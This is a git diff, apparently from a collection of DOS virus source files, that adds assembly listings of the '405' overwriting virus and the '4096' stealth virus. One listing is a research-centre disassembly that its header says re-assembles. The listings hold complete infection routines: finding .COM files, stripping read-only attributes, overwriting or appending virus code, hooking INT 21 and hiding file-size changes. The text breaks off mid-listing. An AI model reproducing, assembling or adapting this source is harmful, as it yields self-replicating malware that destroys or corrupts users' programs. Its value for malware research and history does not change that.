c: + int 21h ;call msdos + mov ah,19h ;get current drive + int 21h ;call msdos + mov byte es:[c_drv],al ;and save + jmp l0179 ;jump forward + nop ;no operation +l0167: + cmp al,02h ;drive c:? + jnz l0179 ;if not jump forward + mov ah,0eh ;set default drive + mov dl,00h ;drive a: + int 21h ;call msdos + mov ah,19h ;get current drive + int 21h ;call msdos + mov byte es:[c_drv],al ;and save +l0179: + mov ah,4eh ;search for first + mov cx,0001h ;file attributes + lea dx,[f_name] ;point to file name + int 21h ;call msdos + jb l0189 ;no .COM files + jmp l01a9 ;found one + nop ;no operation +l0189: + mov ah,3bh ;set directory + lea dx,[l0297] ;point to path + int 21h ;call msdos + mov ah,4eh ;search for first + mov cx,0011h ;set attributes + lea dx,[l0292] ; + int 21h ;call msdos + jb l0139 ;no .COM files + jmp l0179 ;jump back +l01a0: + mov ah,4fh ;search for next + int 21h ;call msdos + jb l0189 ;no .COM files found + jmp l01a9 ;found one + nop ;no operation +l01a9: + mov ah,3dh ;open file + mov al,02h ;for read/write access + mov dx,009eh ;offset address of path name + int 21h ;call msdos + mov bx,ax ;save file handle + mov ah,3fh ;read file + mov cx,0195h ;would you believe 405 bytes to read + nop ;no operation + mov dx,0e000h ;offset address of buffer + nop ;no operation + int 21h ;call msdos + mov ah,3eh ;close file + int 21h ;call msdos + mov bx,es:[0e000h] ;get first byte of loaded buffer + cmp bx,9600h ;405 virus already installed? + jz l01a0 ;yes jump back and search for next + mov ah,43h ;get/set file attributes + mov al,00h ;get file attributes + mov dx,009eh ;offset address of path name + int 21h ;call msdos + mov ah,43h ;get/set file attributes + mov al,01h ;set file attributes + and cx,00feh ;no files read only + int 21h ;call msdos + mov ah,3dh ;open file + mov al,02h ;for read/write access + mov dx,009eh ;offset address of path name + int 21h ;call msdos + mov bx,ax ;save file handle in bx + mov ah,57h ;get/set date and time + mov al,00h ;get file date and time + int 21h ;call msdos + push cx ;file time + push dx ;file date + mov dx,cs:[0295h] ;get variable byte? + mov cs:[0e195h],dx ;place at end of file loaded + mov dx,cs:[0e001h] ;get second byte in buffer + lea cx,ds:[0194h] ; + sub dx,cx ; + mov cs:[0295h],dx ;place at end of file + mov ah,40h ;write file + mov cx,0195h ;amount of bytes to write + nop ;no operation + lea dx,[start] ;get starting location + int 21h ;call msdos + mov ah,57h ;get/set file date and time + mov al,01h ;set file date and time + pop dx ;file date + pop cx ;file time + int 21h ;call msdos + mov ah,3eh ;close file + int 21h ;call msdos + mov dx,cs:[0e195h] ;get variable + mov cs:[0295h],dx ;place at end of file + jmp l0234 ;jump forward + nop ;no operation +l0234: + mov ah,0eh ;set default drive + mov dl,byte cs:[drive] ;get back original default drive + int 21h ;call msdos + mov ah,3bh ;set directory + lea dx,[c_drv] ;8d 16 4a 02 + int 21h ;call msdos + mov ah,00h ;return to dos + int 21h ;call msdos +drive: + db 02 ;drive variable +c_drv: + db 00 ;current drive +dir_path: + db "TEST" + db 00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00 +l_drvs: + db 00 ;how many logical drives on system +f_name: + db "*.COM" + db 0h +l0292: + db 2ah,00h +l0293: + db 0e9h,00h +l0295: + db 00h +l0297: + \ No newline at end of file diff --git a/0-9/405_.ASM b/0-9/405_.ASM new file mode 100755 index 0000000..21ddfbb --- /dev/null +++ b/0-9/405_.ASM @@ -0,0 +1,206 @@ + title The '405' virus + page 65,132 +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The '405' Virus +; Disassembled by Joe Hirst, March 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The virus overwrites the first 405 bytes of a COM file. If the + ; length of the COM file is less than this, the length is increased + ; to 405 bytes. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + +BUFFER SEGMENT AT 0 + + ORG 295H +DW0295 DW ? +DB0297 DB ? + + ORG 0E000H +DWE000 DW ? ; Read buffer area + + ORG 0E195H +DWE195 DW ? ; Program after virus + +BUFFER ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:NOTHING,ES:BUFFER + +VIRLEN EQU OFFSET ENDADR-START + ORG 100H + +START: XCHG SI,AX + ADD [BX+SI],AL + SAHF + ADD [BX+SI],AL + NOP + + MOV AX,0 ; Clear register + MOV ES:DB0249,AL ; Set current disk to default + MOV ES:DB024B,AL ; Set pathname store to zero + MOV ES:DB028B,AL ; Set number of drives to zero + PUSH AX + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV ES:DB0249,AL ; Save current disk + MOV AH,47H ; Get current directory function + ADD AL,1 ; Next drive (A) + PUSH AX + MOV DL,AL ; Drive A + LEA SI,DB024B ; Pathname store + INT 21H ; DOS service + POP AX + MOV AH,0EH ; Select disk function + SUB AL,1 ; Convert drive for select function + MOV DL,AL ; Move drive + INT 21H ; DOS service + MOV ES:DB028B,AL ; Save number of drives +BP0139: MOV AL,ES:DB0249 ; Get current disk + CMP AL,0 ; Is drive A? + JNZ BP0152 ; Branch if not + MOV AH,0EH ; Select disk function + MOV DL,2 ; Change drive to B + INT 21H ; DOS service + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV ES:DB024A,AL ; Save new current drive + JMP BP0179 + +BP0152: CMP AL,1 ; Is drive B? + JNZ BP0167 ; Branch if not + MOV AH,0EH ; Select disk function + MOV DL,2 ; Change drive to C + INT 21H ; DOS service + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV ES:DB024A,AL ; Save new current drive + JMP BP0179 + +BP0167: CMP AL,2 ; Is drive C? + JNZ BP0179 ; Branch if not + MOV AH,0EH ; Select disk function + MOV DL,0 ; Change drive to A + INT 21H ; DOS service + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV ES:DB024A,AL ; Save new current drive +BP0179: MOV AH,4EH ; Find first file function + MOV CX,1 ; Find read-only files, not system + LEA DX,DB028C ; Path '*.COM' + INT 21H ; DOS service + JB BP0189 ; Branch if error + JMP BP01A9 ; Process COM file + +BP0189: MOV AH,3BH ; Change current directory function + LEA DX,DB0297 ; Directory pathname (this is past the end) + INT 21H ; DOS service + MOV AH,4EH ; Find first file function + MOV CX,0011H ; Find directory and read-only + LEA DX,DB0292 ; Path '*' + INT 21H ; DOS service + JB BP0139 ; Branch if error + JMP BP0179 ; Find a COM file + +BP01A0: MOV AH,4FH ; Find next file function + INT 21H ; DOS service + JB BP0189 ; Branch if error + JMP BP01A9 ; Process COM file + + ; Process COM file + +BP01A9: MOV AH,3DH ; Open handle function + MOV AL,2 ; R/W access + MOV DX,009EH ; File pathname + INT 21H ; DOS service + MOV BX,AX ; Move handle + MOV AH,3FH ; Read handle function + MOV CX,VIRLEN ; Length of virus + NOP + MOV DX,OFFSET DWE000 ; Read it in way down there + NOP + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + MOV BX,DWE000 ; Get first word of COM file + CMP BX,9600H ; Is it infected? (should be 0096H) + JZ BP01A0 ; Yes, find another one + MOV AH,43H ; \ Get file attributes function + MOV AL,0 ; / + MOV DX,009EH ; File pathname + INT 21H ; DOS service + MOV AH,43H ; \ Set file attributes function + MOV AL,1 ; / + AND CX,00FEH ; Set off read only attribute + INT 21H ; DOS service + MOV AH,3DH ; Open handle function + MOV AL,2 ; R/W mode + MOV DX,009EH ; File pathname + INT 21H ; DOS service + MOV BX,AX ; Move handle + MOV AH,57H ; \ Get file date & time function + MOV AL,0 ; / + INT 21H ; DOS service + PUSH CX + PUSH DX + ASSUME ES:NOTHING + MOV DX,CS:DW0295 ; Get word after virus here + MOV CS:DWE195,DX ; Move to same position in prog + MOV DX,CS:DWE000+1 ; Get displacement from initial jump + LEA CX,DB0294-100H ; Length of virus minus one + SUB DX,CX + MOV CS:DW0295,DX ; Store in word after virus + MOV AH,40H ; Write handle function + MOV CX,VIRLEN ; Length of virus + NOP + LEA DX,START ; Beginning of virus + INT 21H ; DOS service + MOV AH,57H ; \ Set file date & time function + MOV AL,1 ; / + POP DX + POP CX + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + MOV DX,CS:DWE195 ; Get word after virus + MOV CS:DW0295,DX ; Move to same position here + JMP BP0234 + +BP0234: MOV AH,0EH ; Select disk function + MOV DL,CS:DB0249 ; Get current disk + INT 21H ; DOS service + MOV AH,3BH ; Change current directory function + LEA DX,DB024A ; Address of path - this is incorrect + INT 21H ; DOS service + MOV AH,0 ; Terminate program function + INT 21H ; DOS service + +DB0249 DB 2 ; Current disk +DB024A DB 0 ; New current drive + + ; There should be an extra byte at this point containing '\' + ; for use by the change directory function - this is why that + ; function is pointing at the previous field + +DB024B DB 'TEST', 3CH DUP (0) +DB028B DB 0DH ; Number of drives +DB028C DB '*.COM', 0 +DB0292 DB '*', 0 +DB0294 DB 0E9H + +ENDADR EQU $ + +CODE ENDS + + END START + \ No newline at end of file diff --git a/0-9/4096 (10).ASM b/0-9/4096 (10).ASM new file mode 100755 index 0000000..da57d58 --- /dev/null +++ b/0-9/4096 (10).ASM @@ -0,0 +1,1902 @@ + +PAGE 59,132 + +; +; +; VIR_ +; +; Created: ??-??-?? +; Version: +; Code type: zero start +; Passes: 9 Analysis Options on: A +; +; Disassembled by: Sir John -- 11.MAR.1991 +; +; + +PSP_0A equ 0Ah ; (0000:000A=0) +MCB_0000 equ 0 ; (7DBC:0000=E9) +MCB_0001 equ 1 ; (7DBC:0001=275h) +MCB_0003 equ 3 ; (7DBC:0003=1503h) +all_len equ 1600h +jmp_len equ 3 +sav_file equ data_23 - virus_entry + jmp_len + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 0 + + db 00h + + jmp vir_1 +data_23 dw 20CDh ; old file +data_24 dw 0 ; (first 6 bytes) +data_25 dw 0 ; - check sum + db 0,0,0,0,0,0,0,0 +data_27 dw 0 ; + 0eh = original SS: +data_28 dw 0 ; + 10h = original SP + dw 0 +data_29 dd 0 ; + 14h = .EXE file entry point + db 0,0,0,0 +data_31 db 0 ; flag : 1-EXE, 0-COM +data_32 db 0FEh + db 3Ah +debug: push bp ;address is 0023 + mov bp,sp + push ax + cmp [bp+4],0C000h + jae loc_1_1 ; segment > C000 + mov ax,cs:data_68 + cmp [bp+4],ax + jna loc_1_1 +loc_1: pop ax + pop bp + iret ; Interrupt return +loc_1_1: cmp byte ptr cs:data_73,1 ; (CS:1250=0) + je loc_3 ; Jump if equal + mov ax,[bp+4] + mov word ptr cs:old_INT+2,ax ; (CS:122F=70h) + mov ax,[bp+2] + mov word ptr cs:old_INT,ax ; (CS:122D=0) + jc loc_2 ; Jump if carry Set + pop ax + pop bp + mov ss,cs:data_92 ; (CS:12DD=151Ch) + mov sp,cs:data_93 ; (CS:12DF=0) + mov al,cs:data_97 ; (CS:12E5=0) + out 21h,al ; port 21h, 8259-1 int comands + jmp loc_79 ; (0D40) +loc_2: + and word ptr [bp+6],0FEFFh + mov al,cs:data_97 ; (CS:12E5=0) + out 21h,al ; port 21h, 8259-1 int comands + jmp short loc_1 ; (0037) +loc_3: + dec cs:data_74 ; (CS:1251=0) + jnz loc_1 ; Jump if not zero + and word ptr [bp+6],0FEFFh + call sub_21 ; Save REGS in vir's stack + call sub_18 ; (0DBA) + lds dx,cs:old_INT_1 ; (CS:1231=0) Load 32 bit ptr + mov al,1 + call sub_27 ; Set INT 01 vector + call sub_20 ; Restore regs from vir's stack + jmp short loc_2 ; (0067) + + +; +; SUBROUTINE +; + +sub_1 proc near + push ds + push si + xor si,si ; Zero register + mov ds,si + xor ah,ah ; Zero register + mov si,ax + shl si,1 ; Shift w/zeros fill + shl si,1 ; Shift w/zeros fill + mov bx,[si] + mov es,[si+2] + pop si + pop ds + retn +sub_1 endp + +vir_1: mov cs:data_113,1600h ; (CS:135B=0) + mov cs:old_AX,ax ; (CS:12E3=0) + mov ah,30h + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + mov cs:dos_ver,al ; (CS:12EE=0) + mov cs:old_DS,ds ; (CS:1245=7DBDh) + mov ah,52h + int 21h ; DOS Services ah=function 52h + ; get DOS data table ptr es:bx + mov ax,es:[bx-2] + mov cs:data_68,ax ; (CS:1247=0) + mov es,ax + mov ax,es:[1] ; (5200:0001=0FFFFh) + mov cs:data_69,ax ; (CS:1249=0) + push cs + pop ds + mov al,1 + call sub_1 ; Get INT 01 vector + mov word ptr old_INT_1,bx ; (CS:1231=0) + mov word ptr old_INT_1+2,es ; (CS:1233=70h) + mov al,21h + call sub_1 ; Get INT 21 vector + mov word ptr old_INT,bx ; (CS:122D=0) + mov word ptr old_INT+2,es ; (CS:122F=70h) + mov byte ptr data_73,0 ; (CS:1250=0) + mov dx,offset debug + mov al,1 + call sub_27 ; Set INT 01 vector + pushf ; Push flags + pop ax + or ax,100h + push ax + in al,21h ; port 21h, 8259-1 int IMR + mov data_97,al ; (CS:12E5) + mov al,0FFh + out 21h,al ; port 21h, 8259-1 int comands + popf ; Pop flags + mov ah,52h + pushf ; Push flags + call dword ptr old_INT ; (CS:122D) + pushf ; Push flags + pop ax + and ax,0FEFFh + push ax + popf ; Pop flags + mov al,data_97 ; (CS:12E5=0) + out 21h,al ; port 21h, 8259-1 int comands + push ds + lds dx,old_INT_1 ; (CS:1231=0) Load 32 bit ptr + mov al,1 + call sub_27 ; Set INT 01 vector + pop ds + les di,old_INT ; (CS:122D=0) Load 32 bit ptr + mov word ptr ptr_INT_21,di ; (CS:1235=0) + mov word ptr ptr_INT_21+2,es ; (CS:1237=70h) + mov byte ptr data_70,0EAh ; (CS:124B=0) + mov data_71,offset INT_21 ; (CS:124C=0) (02CC) + mov data_72,cs ; (CS:124E=7DBDh) + call sub_18 ; (0DBA) + mov ax,4B00h + mov data_95,ah ; (CS:12E2=0) + mov dx,offset data_32 ; (CS:0021=0FEh) + push word ptr data_31 ; (CS:0020=0FE00h) + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + pop word ptr data_31 ; (CS:0020=0FE00h) + add word ptr es:[di-4],9 + nop + mov es,old_DS ; (CS:1245) + mov ds,old_DS ; (CS:1245) + sub word ptr ds:[2],161h ; decrement mem size + mov bp,word ptr ds:[2] ; mem size + mov dx,ds + sub bp,dx + mov ah,4Ah + mov bx,0FFFFh + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ah,4Ah + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + dec dx + mov ds,dx + cmp byte ptr ds:[MCB_0000],5Ah ; (7DBC:0000=0E9h) 'Z' + je loc_4 ; Jump if equal + dec cs:data_95 ; (CS:12E2=0) +loc_4: + cmp byte ptr cs:data_95,0 ; (CS:12E2=0) + je loc_5 ; Jump if equal + mov byte ptr ds:[MCB_0000],4Dh ; (7DBC:0000=0E9h) 'M' +loc_5: + mov ax,ds:MCB_0003 ; (7DBC:0003=1503h) + mov bx,ax + sub ax,161h + add dx,ax + mov ds:MCB_0003,ax ; (7DBC:0003=1503h) + inc dx + mov es,dx + mov byte ptr es:MCB_0000,5Ah ; (915F:0000=0) 'Z' + push cs:data_69 ; (CS:1249=0) + pop word ptr es:MCB_0001 ; (915F:0001=0) + mov word ptr es:MCB_0003,160h ; (915F:0003=0) + inc dx + mov es,dx + push cs + pop ds + mov cx,all_len/2 + mov si,all_len-2 ; (CS:15FE=0) + mov di,si + std ; Set direction flag + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + cld ; Clear direction + push es + mov ax,offset loc_1EE + push ax + mov es,cs:old_DS ; (CS:1245=7DBDh) + mov ah,4Ah ; 'J' + mov bx,bp + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + retf ; Return far - jump to loc_1EE +loc_1EE: call sub_18 ; (0DBA) + mov cs:data_72,cs ; (CS:124E=7DBDh) + call sub_18 ; (0DBA) + push cs + pop ds + mov byte ptr data_76,14h ; (CS:12A2=0) + push cs + pop es + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h + xor ax,ax ; Zero register + rep stosw ; Rep when cx >0 Store ax to es:[di] + mov data_103,al ; (CS:12EF=0) + mov ax,old_DS ; (CS:1245=7DBDh) + mov es,ax + lds dx,es:[0Ah] ; from offset 000A in PSP Load 32 bit ptr + mov ds,ax + add ax,10h + add word ptr cs:data_29+2,ax ; (CS:001A=1ED5h) + cmp byte ptr cs:data_31,0 ; (CS:0020=0) + jne loc_6 ; Jump if not equal +; restore infected .COM file and run it + sti ; Enable interrupts + mov ax,cs:data_23 ; (CS:0004=20CDh) + mov word ptr ds:[100h],ax ; (CS:0100=0E9Ah) + mov ax,cs:data_24 ; (CS:0006=340h) + mov word ptr ds:[102h],ax ; (CS:0102=589Ch) + mov ax,cs:data_25 ; (CS:0008=50C6h) + mov word ptr ds:[104h],ax ; (CS:0104=0Dh) + push cs:old_DS ; (CS:1245=7DBDh) + mov ax,100h + push ax + mov ax,cs:old_AX ; (CS:12E3=0) + retf ; Return far +loc_6: +; restore infected .EXE file and run it + add cs:data_27,ax ; (CS:0012=68Ch) + mov ax,cs:old_AX ; (CS:12E3=0) + mov ss,cs:data_27 ; (CS:0012=68Ch) + mov sp,cs:data_28 ; (CS:0014) original SP + sti ; Enable interrupts + jmp cs:data_29 ; (CS:0018=12Bh) +virus_entry: cmp sp,100h + ja loc_7 ; Jump if above + xor sp,sp ; Zero register +loc_7: + mov bp,ax + call sub_2 ; (0275) +sub_2: pop cx + sub cx,offset sub_2 + mov ax,cs + mov bx,10h + mul bx ; dx:ax = ax * 10 + add ax,cx ; cx = virus begin address + adc dx,0 + div bx ; ax,dx rem=dx:ax/10 + push ax ; ax = new segment + mov ax,offset vir_1 + push ax + mov ax,bp + retf ; Return far - jump to vir_1 + +table db 30h + dw offset _21_30 + db 23h + dw offset _21_23 + db 37h + dw offset _21_37 + db 4bh + dw offset _21_4B + db 3ch + dw offset _21_3C + db 3dh + dw offset _21_3D + db 3Eh + dw offset _21_3E + db 0Fh + dw offset _21_0F + db 14h + dw offset _21_14 + db 21h + dw offset _21_21 + db 27h + dw offset _21_27 + db 11h + dw offset _21_11_12 + db 12h + dw offset _21_11_12 + db 4Eh + dw offset _21_4E_4F + db 4Fh + dw offset _21_4E_4F + db 3Fh + dw offset _21_3F + db 40h + dw offset _21_40 + db 42h + dw offset _21_42 + db 57h + dw offset _21_57 + db 48h + dw offset _21_48 +end_tbl: +INT_21: cmp ax,4b00h + jnz loc_8_1 + mov cs:data_95,al +loc_8_1: push bp + mov bp,sp + push [bp+6] ; flags + pop cs:data_85 + pop bp ; ??? + push bp ; ??? + mov bp,sp + call sub_21 ; Save REGS in vir's stack + call sub_18 ; xchg info in INT 21 + call sub_15 ; BREAK = OFF + call sub_20 ; Restore regs from vir's stack + call sub_17 ; Save REGS + push bx + mov bx,offset table +loc_8: + cmp ah,cs:[bx] + jne loc_9 ; Jump if not equal + mov bx,cs:[bx+1] + xchg bx,[bp-14h] + cld ; Clear direction + retn +loc_9: + add bx,3 + cmp bx,offset end_tbl + jb loc_8 ; Jump if below + pop bx +loc_10: + call sub_16 ; Restore BREAK state + in al,21h ; port 21h, 8259-1 int IMR + mov cs:data_97,al ; (CS:12E5=0) + mov al,0FFh + out 21h,al ; port 21h, 8259-1 int comands + mov byte ptr cs:data_74,4 ; (CS:1251=0) + mov byte ptr cs:data_73,1 ; (CS:1250=0) + call sub_22 ; Set INT 01 for debuging + call sub_19 ; Restore REGS + push ax + mov ax,cs:data_85 ; (CS:12B3=0) + or ax,100h + push ax + popf ; Pop flags + pop ax + pop bp + jmp dword ptr cs:ptr_INT_21 ; (CS:1235=0) +loc_11: + call sub_21 ; Save REGS in vir's stack + call sub_16 ; (0D9B) + call sub_18 ; (0DBA) + call sub_20 ; Restore regs from vir's stack + pop bp + push bp + mov bp,sp + push cs:data_85 ; (CS:12B3=0) + pop word ptr [bp+6] + pop bp + iret ; Interrupt return +_21_11_12: call sub_19 ; Restore REGS + call sub_24 ; INT 21 + or al,al ; Zero ? + jnz loc_11 ; Jump if not zero + call sub_17 ; Save REGS + call sub_3 ; (0581) + mov al,0 + cmp byte ptr [bx],0FFh + jne loc_12 ; Jump if not equal + mov al,[bx+6] + add bx,7 +loc_12: + and cs:data_104,al ; (CS:12F0=0) + test byte ptr [bx+1Ah],80h + jz loc_13 ; Jump if zero + sub byte ptr [bx+1Ah],0C8h + cmp byte ptr cs:data_104,0 ; (CS:12F0=0) + jne loc_13 ; Jump if not equal + sub word ptr [bx+1Dh],1000h + sbb word ptr [bx+1Fh],0 +loc_13: + call sub_19 ; Restore REGS + jmp short loc_11 ; (033F) +_21_0F: call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + or al,al ; Zero ? + jnz loc_13 ; Jump if not zero + mov bx,dx + test byte ptr [bx+15h],80h + jz loc_13 ; Jump if zero + sub byte ptr [bx+15h],0C8h + sub word ptr [bx+10h],1000h + sbb byte ptr [bx+12h],0 + jmp short loc_13 ; (0396) +_21_27: jcxz loc_15 ; Jump if cx=0 +_21_21: mov bx,dx + mov si,[bx+21h] + or si,[bx+23h] + jnz loc_15 ; Jump if not zero + jmp short loc_14 ; (03D7) +_21_14: mov bx,dx + mov ax,[bx+0Ch] + or al,[bx+20h] + jnz loc_15 ; Jump if not zero +loc_14: + call sub_7 ; (0919) + jnc loc_16 ; Jump if carry=0 +loc_15: + jmp loc_10 ; (030F) +loc_16: + call sub_19 ; Restore REGS + call sub_17 ; Save REGS + call sub_24 ; INT 21 + mov [bp-4],ax + mov [bp-8],cx + push ds + push dx + call sub_3 ; (0581) + cmp word ptr [bx+14h],1 + je loc_17 ; Jump if equal + mov ax,[bx] + add ax,[bx+2] + add ax,[bx+4] + jz loc_17 ; Jump if zero + add sp,4 + jmp short loc_13 ; (0396) +loc_17: + pop dx + pop ds + mov si,dx + push cs + pop es + mov di,offset data_86 ; (CS:12B5=0) + mov cx,25h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,offset data_86 ; (CS:12B5=0) + push cs + pop ds + mov ax,[di+10h] + mov dx,[di+12h] + add ax,100Fh + adc dx,0 + and ax,0FFF0h + mov [di+10h],ax + mov [di+12h],dx + sub ax,0FFCh + sbb dx,0 + mov [di+21h],ax + mov [di+23h],dx + mov word ptr [di+0Eh],1 + mov cx,1Ch + mov dx,di + mov ah,27h ; ''' + call sub_24 ; INT 21 + jmp loc_13 ; (0396) +_21_23: push cs + pop es + mov si,dx + mov di,offset data_86 ; (CS:12B5=0) + mov cx,25h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push ds + push dx + push cs + pop ds + mov dx,offset data_86 ; CS:12B5 + mov ah,0Fh + call sub_24 ; INT 21 + mov ah,10h + call sub_24 ; INT 21 + test byte ptr data_89,80h ; (CS:12CA=0) + pop si + pop ds + jz loc_20 ; Jump if zero + les bx,cs:data_88 ; (CS:12C5=0) Load 32 bit ptr + mov ax,es + sub bx,1000h + sbb ax,0 + xor dx,dx ; Zero register + mov cx,cs:data_87 ; (CS:12C3=0) + dec cx + add bx,cx + adc ax,0 + inc cx + div cx ; ax,dx rem=dx:ax/reg + mov [si+23h],ax + xchg ax,dx + xchg ax,bx + div cx ; ax,dx rem=dx:ax/reg + mov [si+21h],ax + jmp loc_13 ; (0396) +_21_4E_4F: and cs:data_85,0FFFEh ; (CS:12B3=0) + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + jnc loc_18 ; Jump if carry=0 + or cs:data_85,1 ; (CS:12B3=0) + jmp loc_13 ; (0396) +loc_18: + call sub_3 ; (0581) + test byte ptr [bx+19h],80h + jnz loc_19 ; Jump if not zero + jmp loc_13 ; (0396) +loc_19: + sub word ptr [bx+1Ah],1000h + sbb word ptr [bx+1Ch],0 + sub byte ptr [bx+19h],0C8h + jmp loc_13 ; (0396) +_21_3C: push cx + and cx,7 + cmp cx,7 + je loc_23 ; Jump if equal + pop cx + call sub_13 ; (0CC6) + call sub_24 ; INT 21 + call sub_14 ; (0D6C) + pushf ; Push flags + cmp byte ptr cs:data_90,0 ; (CS:12DA=0) + je loc_21 ; Jump if equal + popf ; Pop flags +loc_20: + jmp loc_10 ; (030F) +loc_21: + popf ; Pop flags + jc loc_22 ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + call sub_24 ; INT 21 + jmp short _21_3D ; (0511) +loc_22: + or byte ptr cs:data_85,1 ; (CS:12B3=0) + mov [bp-4],ax + jmp loc_13 ; (0396) +loc_23: + pop cx + jmp loc_10 ; (030F) +_21_3D: + call sub_9 ; Get PSP segment + call sub_8 ; (0925) + jc loc_26 ; Jump if carry Set + cmp byte ptr cs:data_76,0 ; (CS:12A2=0) + je loc_26 ; Jump if equal + call sub_10 ; (097E) + cmp bx,0FFFFh + je loc_26 ; Jump if equal + dec cs:data_76 ; (CS:12A2=0) + push cs + pop es + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h + xor ax,ax ; Zero register + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + mov ax,cs:data_77 ; (CS:12A3=0) + mov es:[di-2],ax + mov es:[di+26h],bx + mov [bp-4],bx +loc_25: + and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + jmp loc_13 ; (0396) +loc_26: + jmp loc_10 ; (030F) +_21_3E: push cs + pop es + call sub_9 ; Get PSP segment + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h + mov ax,cs:data_77 ; (CS:12A3=0) +loc_27: + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jnz loc_28 ; Jump if not zero + cmp bx,es:[di+26h] + jne loc_27 ; Jump if not equal + mov word ptr es:[di-2],0 + call sub_4 ; (0793) - infect file + inc cs:data_76 ; (CS:12A2=0) + jmp short loc_25 ; (0549) +loc_28: + jmp loc_10 ; (030F) + +; +; SUBROUTINE +; + +sub_3 proc near + push es + mov ah,2Fh ; '/' + call sub_24 ; INT 21 + push es + pop ds + pop es + retn +sub_3 endp + +_21_4B: or al,al ; Zero ? + jz loc_29 ; Jump if zero + jmp loc_36 ; (06E0) +loc_29: + push ds + push dx + mov cs:prm_blck_adr,bx ; (CS:1224) save EXEC block offset + mov word ptr cs:prm_blck_adr+2,es ; (CS:1226) save EXEC block segment + lds si,dword ptr cs:prm_blck_adr ; (CS:1224) Load EXEC block address + mov di,offset exec_block ; (CS:12F1) + mov cx,0Eh + push cs + pop es + rep movsb ; Save EXEC param block + pop si + pop ds + mov di,offset file_name ; (CS:1307) + mov cx,50h + rep movsb ; Save file name + mov bx,0FFFFh + call sub_23 ; (0E3A) + call sub_19 ; Restore REGS + pop bp + pop cs:data_98 ; (CS:12E6=0) + pop cs:data_99 ; (CS:12E8=0) + pop cs:data_85 ; (CS:12B3=0) + mov ax,4B01h + push cs + pop es + mov bx,offset exec_block + pushf ; Push flags + call dword ptr cs:ptr_INT_21 ; (CS:1235=0) + jnc loc_30 ; Jump if carry=0 + or cs:data_85,1 ; (CS:12B3=0) + push cs:data_85 ; (CS:12B3=0) + push cs:data_99 ; (CS:12E8=0) + push cs:data_98 ; (CS:12E6=0) + push bp + mov bp,sp + les bx,dword ptr cs:prm_blck_adr ; (CS:1224=0) Load 32 bit ptr + jmp loc_11 ; (033F) +loc_30: + call sub_9 ; Get PSP segment + push cs + pop es + mov di,offset data_75 ; (CS:1252=0) + mov cx,14h +loc_31: + mov ax,cs:data_77 ; (CS:12A3=0) + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jnz loc_32 ; Jump if not zero + mov word ptr es:[di-2],0 + inc cs:data_76 ; (CS:12A2=0) + jmp short loc_31 ; (060B) +loc_32: + lds si,cs:entry_point ; (CS:1303=0) Load 32 bit ptr + cmp si,1 ; already infected? + jne loc_33 ; Jump if not equal + mov dx,word ptr ds:data_29+2 ; (0000:001A) - original entry point segment + add dx,10h + mov ah,51h + call sub_24 ; INT 21 - get PSP segment + add dx,bx + mov word ptr cs:entry_point+2,dx ; (CS:1305=0) + push word ptr ds:data_29 ; (0000:0018) - original entry point offset + pop word ptr cs:entry_point ; (CS:1303=0) + add bx,10h + add bx,ds:data_27 ; (0000:0012) - original SS: + mov cs:data_107,bx ; (CS:1301=0) + push word ptr ds:data_28 ; (0000:0014) - original SP + pop cs:data_106 ; (CS:12FF=0) + jmp short loc_34 ; (067F) +loc_33: + mov ax,[si] + add ax,[si+2] + add ax,[si+4] + jz loc_35 ; Jump if zero + push cs + pop ds + mov dx,offset file_name + call sub_8 ; (0925) + call sub_10 ; (097E) + inc cs:data_103 ; (CS:12EF=0) + call sub_4 ; infect file + dec cs:data_103 ; (CS:12EF=0) +loc_34: + mov ah,51h + call sub_24 ; INT 21 + call sub_21 ; Save REGS in vir's stack + call sub_16 ; (0D9B) + call sub_18 ; (0DBA) + call sub_20 ; Restore REGS from vir's stack + mov ds,bx + mov es,bx + push cs:data_85 ; (CS:12B3=0) + push cs:data_99 ; (CS:12E8=0) + push cs:data_98 ; (CS:12E6=0) + pop word ptr ds:PSP_0A ; offset 0A in PSP + pop word ptr ds:PSP_0A+2 ; offset 0C in PSP + push ds + lds dx,dword ptr ds:PSP_0A ; offset 0A in PSP - terminate address + mov al,22h + call sub_27 ; Set INT 22 vector + pop ds + popf ; Pop flags + pop ax + mov ss,cs:data_107 ; (CS:1301=0) + mov sp,cs:data_106 ; (CS:12FF=0) + jmp dword ptr cs:entry_point ; (CS:1303=0) +loc_35: + mov 